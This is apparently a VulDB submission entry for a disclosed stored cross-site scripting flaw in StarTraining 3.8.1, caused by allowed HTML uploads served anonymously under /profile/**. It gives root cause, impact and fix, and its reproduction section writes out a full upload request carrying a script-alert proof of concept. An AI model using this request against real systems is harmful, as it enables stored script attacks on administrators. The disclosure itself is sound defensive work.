| Titolo | zhistaredu StarTraining 3.8.1 Cross Site Scripting |
|---|
| Descrizione | StarTraining 3.8.1 — HTML upload allowed and /profile/** served anonymously (stored XSS) (ST-VULN-006)
Product: StarTraining 3.8.1
CWE: CWE-434 / CWE-79
Classification: Cross Site Scripting
=== SUMMARY ===
`MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION` includes html/htm. Uploaded files are served under `/profile/**` with permitAll GET.
=== ROOT CAUSE ===
Dangerous upload extensions + public static resource mapping.
=== REPRODUCTION ===
POST /common/upload HTTP/1.1
Host: 127.0.0.1:8900
Authorization: USER_TOKEN
Content-Type: multipart/form-data; boundary=----BOUNDARY
Connection: close
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="poc.html"
Content-Type: text/html
<script>alert('ST-PoC')</script>
------BOUNDARY--
# Then open returned /profile/upload/.../poc.html without auth
Expected: Upload returns profile URL; GET executes script in browser
=== IMPACT ===
Stored XSS against admins viewing uploaded resources.
=== FIX ===
Remove html from allowed extensions; require auth on /profile/**; enable XSS filter.
|
|---|
| Fonte | ⚠️ https://github.com/ArrestX/startraining-advisories/blob/main/advisories/ST-VULN-006-stored-html-upload-xss.md |
|---|
| Utente | thmanhz (UID 100327) |
|---|
| Sottomissione | 05/08/2026 02:20 (2 mesi fa) |
|---|
| Moderazione | 27/09/2026 05:38 (2 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 410810 [zhistaredu StarTraining fino a 3.8.1 Upload Endpoint MimeTypeUtils.java File cross site scripting] |
|---|
| Punti | 20 |
|---|